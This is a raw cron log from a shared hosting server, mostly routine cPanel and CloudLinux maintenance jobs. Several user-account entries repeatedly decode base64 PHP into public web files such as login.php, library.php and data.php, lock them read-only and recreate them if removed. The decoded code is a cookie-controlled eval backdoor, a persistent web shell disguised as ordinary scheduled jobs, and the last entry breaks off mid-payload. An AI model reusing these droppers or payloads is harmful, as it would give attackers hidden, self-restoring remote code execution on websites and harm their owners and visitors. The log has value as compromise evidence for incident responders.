Mar  2 02:48:01 medusa CROND[29809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:48:01 medusa CROND[29839]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:48:01 medusa CROND[29840]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:49:01 medusa CROND[5550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:49:01 medusa CROND[5596]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:49:01 medusa CROND[5597]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:49:01 medusa CROND[5598]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:49:01 medusa CROND[5599]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:49:01 medusa CROND[5600]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:49:01 medusa CROND[5603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:49:01 medusa CROND[5601]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Mar  2 02:49:01 medusa CROND[5606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:49:01 medusa CROND[5608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:49:01 medusa CROND[5609]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:49:01 medusa CROND[5610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:49:01 medusa CROND[5611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:50:01 medusa CROND[12001]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:50:01 medusa CROND[12008]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:50:01 medusa CROND[12023]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:50:01 medusa CROND[12091]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:50:01 medusa CROND[12272]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12273]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:50:01 medusa CROND[12275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:50:01 medusa CROND[12278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:50:01 medusa CROND[12282]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:50:01 medusa CROND[12280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:50:01 medusa CROND[12284]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12276]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 02:50:01 medusa CROND[12289]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12293]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:50:01 medusa CROND[12283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:50:01 medusa CROND[12299]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:50:01 medusa CROND[12300]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12294]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:50:01 medusa CROND[12302]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:50:01 medusa CROND[12285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12310]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:50:01 medusa CROND[12291]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:50:01 medusa CROND[12318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12321]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVt